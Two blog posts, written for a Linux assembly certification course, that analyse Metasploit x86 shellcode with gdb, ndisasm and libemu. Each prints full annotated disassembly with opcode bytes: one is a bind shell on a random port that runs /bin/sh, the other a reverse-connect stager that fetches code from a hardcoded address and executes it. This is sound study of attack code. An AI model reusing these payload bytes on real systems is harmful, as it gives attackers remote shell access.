Posts Tagged libemu

Assignment 5.2: MSF shellcode analysis linux/x86/shell_bind_tcp_random_port


Analyse at least 3 shellcode samples created using msfpayload for linux/x86. Use gdb/ndisasm/libemu to investigate the functionality and present your findings.


 

The second shellcode we will analyse is the shell_bind_tcp_random_port. First we check the options for this payload:

a52_p1

There are no optional parameters that we need to set. We will create the shellcode, and pass it through ndisasm to get the disassembled listing:

a52_p2

 

The first part of the code, creates a new socket file descriptor. Here is the analysis:

a52_p3

 

The second part, executes a listen syscall on the socket we have just created:

a52_p4

What is missing here is the bind() call. The proper way to create a listening port is to call socket(), then bind() and then listen(). The second call is missing, and is probably taken care of by the kernel, hence the random port in the shellcode’s description. We can verify the order of calls by looking at the man page for listen:

a52_p5

At this point, before continuing our analysis, we will use gdb to trace the code and see if our assumption is correct. Extract the code in C format, cut, paste into shellcode.c, compile and execute under gdb:

a52_p6

Set the breakpoint at the start of the shellcode:

a52_p7

 

We will step through the instructions up to the point before the listen call interrupt:

a52_p8

We execute a netstat to see the listening ports on the host:

a52_p9

We step through one more time in the debugger session:

a52_p10

The value of EAX is zero, which means that the listen() call was successful. We can verify this by examining once more the active connections on our host:

a52_p11

Yes, we have a new port listening on 34460. The ip address 0.0.0.0 means it will listen on all available interfaces (i.e. if we had two network interfaces, on both of them, plus localhost). So the commentary for this part can now be completed:

a52_p12

 

In order to be able to continue the gdb session we need to connect to this port, by opening another terminal:

a52_p13

 

The next part of the shellcode, is the accept() system call. In Assignment 2, we had analysed the accept syscall and presented a diagram:

a52_p14

The shellcode only passes the values of EAX and EBX. ECX is the same as in the listen call. If we examine the stack using our gdb session:

a52_p15

So accept will be called with parameters (3,0,0). Observe that the value at the top of the stack is the socket fd. The commentary is presented below:

a52_p16

 

Moving on we have a dup2 syscall, to redirect the client stdin/stdout/stderr to the server socket stdin/stdout/stderr we created in the first two parts of the shellcode. This is done, so that all commands that are entered on the client side are repeated on our side, and the result is sent back to the client.

a52_p17

 

ECX is used as a counter for the loop and to go through all file descriptors, 3 to 0, i.e. all file descriptors are duplicated on the client’s socket file descriptor. These numbers are 0-4 for our example analysing the code under a compiled C “wrapper” program (shellcode.c). The thing we need to remember here is that the code will duplicate any number of file descriptors available to the process inside which the shellcode is running, to the client socket. We will see this latter on when we will execute the shellcode under libemu.

The last part of the shellcode executes /bin/sh through an execve syscall:

a52_p18

 

We will also execute the shellcode through libemu.

a52_p19

Part of the output is presented in the following image:

a52_p20

 

Observe that the socket descriptor for the socket() call is 14 and for the client connection is 19.

Then all the dup2 calls follow, were all descriptors from 14 to 0 are duplicated to 19, and finally the execve call to spawn the shell.

The following presents the complete output:

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int listen (
     int s = 14;
     int backlog = 0;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 =>
         none;
     int addrlen = 0x00000002 =>
         none;
) =  19;
int dup2 (
     int oldfd = 19;
     int newfd = 14;
) =  14;
int dup2 (
     int oldfd = 19;
     int newfd = 13;
) =  13;
int dup2 (
     int oldfd = 19;
     int newfd = 12;
) =  12;
int dup2 (
     int oldfd = 19;
     int newfd = 11;
) =  11;
int dup2 (
     int oldfd = 19;
     int newfd = 10;
) =  10;
int dup2 (
     int oldfd = 19;
     int newfd = 9;
) =  9;
int dup2 (
     int oldfd = 19;
     int newfd = 8;
) =  8;
int dup2 (
     int oldfd = 19;
     int newfd = 7;
) =  7;
int dup2 (
     int oldfd = 19;
     int newfd = 6;
) =  6;
int dup2 (
     int oldfd = 19;
     int newfd = 5;
) =  5;
int dup2 (
     int oldfd = 19;
     int newfd = 4;
) =  4;
int dup2 (
     int oldfd = 19;
     int newfd = 3;
) =  3;
int dup2 (
     int oldfd = 19;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 19;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 19;
     int newfd = 0;
) =  0;
int execve (
     const char * dateiname = 0x00416fb6 =>
           = "/bin//sh";
     const char * argv[] = [
           = 0xffffffff =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

We can also generate a graph showing the code analysis from libemu:

a52_p21

And then convert it into png format:

a52_p22

You can view the output below (click on it to see full scale image):

shellcode_part2

 

The following presents the complete analysis:

00000000  31DB              xor ebx,ebx                 ;zero out EBX
00000002  F7E3              mul ebx                     ;zero out EAX,EDX
00000004  B066              mov al,0x66                 ;EAX=0x66 (102)
00000006  43                inc ebx                     ;EBX=1
00000007  52                push edx                    ;push 0 on stack
00000008  53                push ebx                    ;push 1 on stack
00000009  6A02              push byte +0x2              ;push 2 on stack
0000000B  89E1              mov ecx,esp                 ;pointer to stack in ECX
0000000D  CD80              int 0x80                    ;syscall sys_socket(1,*args)
                                                        ;*args(AF_INET,SOCK_STREAM,IPPROTO_IP

0000000F  52                push edx                    ;push 0 on stack
00000010  50                push eax                    ;store socket fd on stack
00000011  89E1              mov ecx,esp                 ;store stack pointer in ECX
00000013  B066              mov al,0x66                 ;EAX=0x66 (102)
00000015  B304              mov bl,0x4                  ;EBX=4
00000017  CD80              int 0x80                    ;syscall listen(fd, backlog)
                                                        ;since there was no bind() before
                                                        ;this call, OS will give us
                                                        ;at random a port where our socket
                                                        ;will listen on. It will be listening
                                                        ;on ALL available interfaces

00000019  B066              mov al,0x66                 ;EAX=0x66 (102)
0000001B  43                inc ebx                     ;EBX=5
0000001C  CD80              int 0x80                    ;syscall accept()
                                                        ;client_socketFD stored in EAX

0000001E  59                pop ecx                     ;store socket fd in ECX
0000001F  93                xchg eax,ebx                ;EAX=5, EBX=client_socketFD
00000020  6A3F              push byte +0x3f             ;store 0x3f (63) on stack
00000022  58                pop eax                     ;remove 0x3f from stack, into EAX
00000023  CD80              int 0x80                    ;syscall dup2(oldfd, newfd)
                                                        ;duplicate(FD_inEBX, FD_inECX) i.e.
                                                        ;client and server sockets
00000025  49                dec ecx                     ;ECX starts at one more than the socketfd
                                                        ;which starts at 3 (0,1,2 are the fd for
                                                        ;the process running our shellcode)
00000026  79F8              jns 0x20                    ;is sign flag set (i.e. is ECX=-1)?

00000028  B00B              mov al,0xb                  ;EAX=0xb (11)
0000002A  682F2F7368        push dword 0x68732f2f       ;store hs// on the stack
0000002F  682F62696E        push dword 0x6e69622f       ;store nib/ on the stack
00000034  89E3              mov ebx,esp                 ;store stack pointer into EBX
00000036  41                inc ecx                     ;ECX=0
00000037  CD80              int 0x80                    ;syscall execve
                                                        ;execve('/bin/sh','','')

 


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-645


 

, , , ,

Leave a comment

Assignment 5.1: MSF shellcode analysis linux/x86/shell/reverse_tcp


Analyse at least 3 shellcode samples created using msfpayload for linux/x86. Use gdb/ndisasm/libemu to investigate the functionality and present your findings.


The first shellcode we will analyse is linux/x86/shell/reverse_tcp. Since there is a new tool called msfvenom which replaces msfpayload, I will use this to generate the shellcodes from metasploit. Let’s first see the options of the payload:

a51_p1

In the description we see that this is a STAGED shellcode i.e it will execute some commands, and then once completed will get a second part of commands from the remote end to execute on the system running this shellcode.

We can create the shellcode, specifying the ip address we want to connect to. We can leave the port at the default value of 4444 (0x115c). We will pass the raw output through ndisasm to see the disassembled listing:

a51_p2

 

The first part of the code performs a sys_socket syscall, to create a socket on the host:

a51_p3

The next part of the shellcode, is a connect() call on the socket we have just created:

a51_p4

The next part of the code executes an mprotect (EAX=0x7d, 125), as can be seen in unistd_32.h file:

a51_p5

Here is the analysis of the code:

a51_p6

Looking at the mprotect(2) man page, we can see that the function expects 3 arguments:

a51_p7

The first one (in EBX) is the pointer to the region that we want to set protection on. The second parameter (ECX) is the length of the region, and the third (EDX) is the protection mode.

We can see from our analysis that EBX points to the top of the stack, ECX has the value 4096 and EDX the value 7. In order to see the prot values we can look into /usr/include/asm-generic/mman-common.h:

a51_p8

Note: In order to quickly find an identifier (i.e. PROT_READ), one can use http://lxr.free-electrons.com/ident, which allows us to search through the whole linux kernel source code for any string.

So the code sets 4096 bytes from the stack pointer and on, with read, write and execute permissions. Probably in order to prepare the stack for loading (and executing) some other shellcode (for the second stage of the exploit).

The last part of the code seems to be a read call, but we need to investigate further.

a51_p9

We can extract the shellcode in a suitable format to include in our shellcode.c file, to run it under gdb. The extract is accomplished with the use of –f option to msfvenom:

a51_p10

Copy the shellcode, paste it into our file, save, compile and load under gdb:

 

a51_p11

a51_p12

Note: I am using a custom gdb init file to aid in displaying registers and part of the code that executes. This can be found here: https://github.com/gdbinit/Gdbinit/blob/master/gdbinit

We inspect the code by executing a disassemble command:

a51_p13

We will set a breakpoint at 0x0804a07c, just before the cdq instruction. Before we do that though we need to setup a listening netcat process on the ip that is hardcoded into the shellcode and port 4444. Upon continuing the debugger, we get the connection:

a51_p14

The debugger hits the second breakpoint:

a51_p15

We advance a couple of instructions using the stepi command:

a51_p16

So first ECX stores the value of the stack pointer, and the cdq instruction modifies EDX to zero, since EAX is already zero. CDQ copies the sign bit of EAX (bit 31) into every bit of EDX. EAX is zero, because the previous syscall (connect) was successful. See the man page:

a51_p17

Continuing to step through the code, we see that EDX will get the value 0xc00 (3072):

a51_p18

Then a syscall is prepared, with EAX getting the value 3, i.e. a read() syscall.

a51_p19

EBX holds the value of the socket file descriptor, ECX points to the top of the stack, and EDX, the count, is set at 0xc00 (3072).

We step one more instruction to execute the syscall. Gdb stops, and we move to netcat and input a string. Upon pressing enter, gdb continues execution and stops at the next instruction:

a51_p20

If we examine the stack:

a51_p21

We see that we have the string that we entered in the netcat session, appearing on the stack (74 65 73 74 is the hex representation for t e s t).

Observe that the next instruction to execute is the “jmp ecx”. ECX is pointing to the top of the stack, therefore, what this last part of code does is connect to a remote host, receive data from it, and upon reception completion, passing execution to it. Remember that we had enabled execution on this part of memory, so execution is guaranteed. The data that may be received will be up to 3072 bytes in length. That is what makes this a staged shellcode, it connects, gets additional payload from the remote end to store on the stack, and passes execution to it.

The completed analysis commentary for the last part of the code can now be written:

a51_p22

Just for the fun of it, we can also run the shellcode through libemu:

a51_p23

Output:

a51_p24

As we can see, the emulator stops at the connect() syscall, and after that, the memory protect and the read from the socket, then passing execution, are not analysed.

The following presents the complete analysis:

00000000  31DB              xor ebx,ebx                 ;zero out ebx
00000002  F7E3              mul ebx                     ;zero out eax, edx
00000004  53                push ebx                    ;push 0 on stack
00000005  43                inc ebx                     ;ebx=1
00000006  53                push ebx                    ;push 1 on stack
00000007  6A02              push byte +0x2              ;push 2 on stack
00000009  B066              mov al,0x66                 ;EAX=0x66
0000000B  89E1              mov ecx,esp                 ;ECX points to stack
0000000D  CD80              int 0x80                    ;syscall sys_socket(1,*args)
                                                        ;*args(AF_INET, SOCK_STREAM, IPPROTO_IP)

0000000F  97                xchg eax,edi                ;store socket file descriptor in edi
00000010  5B                pop ebx                     ;EBX=2
00000011  680A01020F        push dword 0xf02010a        ;push ip address in stack, reverse byte order
00000016  680200115C        push dword 0x5c110002       ;push port (reversed) and 0002 on stack
0000001B  89E1              mov ecx,esp                 ;store pointer to stack on ECX (*args)
0000001D  6A66              push byte +0x66             ;push on stack 0x66
0000001F  58                pop eax                     ;pop 0x66 from stack, store in EAX
00000020  50                push eax                    ;push 0x66 on stack
00000021  51                push ecx                    ;push *args on stack
00000022  57                push edi                    ;push socket fd on stack
00000023  89E1              mov ecx,esp                 ;store stack pointer to ECX (**args)
00000025  43                inc ebx                     ;EBX=3
00000026  CD80              int 0x80                    ;syscall sys_connect(fd, **args)
                                                        ;**args=(socketfd, *args, 0x66)
                                                        ;*args=(2, port, ipaddress)

00000028  B207              mov dl,0x7                  ;EDX=7
0000002A  B900100000        mov ecx,0x1000              ;ECX=0x1000 (4096)
0000002F  89E3              mov ebx,esp                 ;store pointer of stack in EBX
00000031  C1EB0C            shr ebx,0xc                 ;two instructions that negate each other
00000034  C1E30C            shl ebx,0xc                 ;i.e. nothing will happen in EBX contents
00000037  B07D              mov al,0x7d                 ;EAX=0x7d (125, mprotect)
00000039  CD80              int 0x80                    ;syscall

0000003B  5B                pop ebx                     ;store EBX value on stack (current stack pointer)
0000003C  89E1              mov ecx,esp                 ;store stack pointer in ECX
0000003E  99                cdq                         ;convert double to quad
                                                        ;sign extend EAX, into EDX:EAX
                                                        ;this effectively zeroes out EDX, since
                                                        ;EAX is already zero, providing the connect was
                                                        ;sucessful.
0000003F  B60C              mov dh,0xc                  ;EDX=0xc00 (3072)
00000041  B003              mov al,0x3                  ;EAX=3 syscall for read
                                                        ;read (socket fd,
                                                        ;pointer to stack to store data,
                                                        ;read up to 0xc00 bytes)
00000043  CD80              int 0x80                    ;execute the call
00000045  FFE1              jmp ecx                     ;pass execution to the data you got from
                                                        ;remote end


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-645


 

, , , ,

Leave a comment

Design a site like this with WordPress.com
Get started